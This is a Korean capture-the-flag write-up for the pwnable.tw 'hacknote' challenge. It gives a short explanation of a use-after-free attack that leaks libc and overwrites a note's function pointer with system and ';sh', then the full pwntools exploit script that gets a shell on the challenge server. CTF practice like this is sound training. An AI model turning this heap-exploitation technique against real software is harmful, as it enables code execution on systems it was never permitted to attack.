[pwnable.tw]hacknote
uaf 취약점을 이용해서 풀 수 있다. 우선 언솔빈으로 libc leak해주고 malloc 2번 되는데 첫번째 malloc 해주는 곳에 함수 포인터가 들어가는데 uaf로 함수포인터에 system주소를 넣고 뒤에 인자로 sh을 넣어주면 된다. 그리고 print_note로 함수 포인터를 실행시켜주면 된다.
exploit.py
from pwn import *
context.log_level = 'debug'
e = ELF('./hacknote')
#p = process('./hacknote')
p = remote('chall.pwnable.tw',10102)
libc = ELF('./libc_32.so.6')
#libc = e.libc
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
def add_note(size,content):
sa(':','1')
sa(':',str(size))
sa(':',content)
def del_note(idx):
sa(':','2')
sa(':',str(idx))
def print_note(idx):
sa(':','3')
sa(':',str(idx))
add_note(0x80,'AAAA')
add_note(0x80,'BBBB')
del_note(0)
add_note(0x20,'CCCC')
print_note(0)
p.recvuntil('CCCC')
libc_base = u32(p.recv(4)) - (0x1b0780+176) # main_arena + 176
log.info('libc_base : {}'.format(hex(libc_base)))
add_note(0x20,'DDDD')
del_note(2)
del_note(3)
add_note(8,p32(libc_base + libc.symbols['system']) + ";sh")
print_note(0)
p.interactive()